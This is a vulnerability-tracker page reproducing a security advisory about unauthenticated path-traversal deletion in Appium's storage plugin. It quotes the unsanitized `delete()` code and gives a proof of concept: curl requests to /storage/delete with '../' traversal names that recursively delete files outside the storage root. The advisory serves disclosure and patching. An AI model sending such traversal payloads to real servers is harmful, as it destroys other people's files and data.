VulnWatch by ve1ve2
high 8.6 EPSS 0.52%

GHSA-jwgx-mp9m-jwcr: appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin

Source:
OSV.dev
Published:
Fetched:
Updated:
Affects:
@appium/storage-plugin

https://osv.dev/vulnerability/GHSA-jwgx-mp9m-jwcr ↗

osvnpmfix-available

appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin ## Summary The Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem. The same plugin's *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous. ### Details Published build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`): - `packages/storage-plugin/lib/storage.ts:65-75` — `Storage.delete()`: ```ts async delete(name: string): Promise { if (name.toLowerCase().endsWith(TMP_EXT)) { return false; } const destinationPath = path.join(this._root, name); // <-- no sanitization if (!(await fs.exists(destinationPath))) { return false; } await fs.rimraf(destinationPath); // <-- recursive delete return true; } ``` - `packages/storage-plugin/lib/plugin.ts:77-83` — handler passes raw body: ```ts STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) { return await executeStorageMethod( async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name), ); }; ``` `parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does **not** validate the value. - Contrast — the upload path *does* sanitize: `storage.ts:53-54` `add()` → `requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely. ### PoC 1. Install and start the server with the storage plugin: ```sh npm install appium@3.5.0 ./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin ./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723 ``` (Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.) 2. Plant a victim file/dir outside the storage root, then delete via traversal: ```sh mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt echo single > /tmp/pv_file.txt curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_file.txt"}' # -> {"value":true} curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_dir"}' # -> {"value":true} ```

Linked vulnerabilities (2)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin

CWE: CWE-22, CWE-73Aliases: CVE-2026-58192
CVE-2026-58192 high 8.6 EPSS 0.52% (p45) NVDCVE.orgGHSA
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin

CWE: CWE-22, CWE-73Aliases: GHSA-jwgx-mp9m-jwcr

Also reported by (1)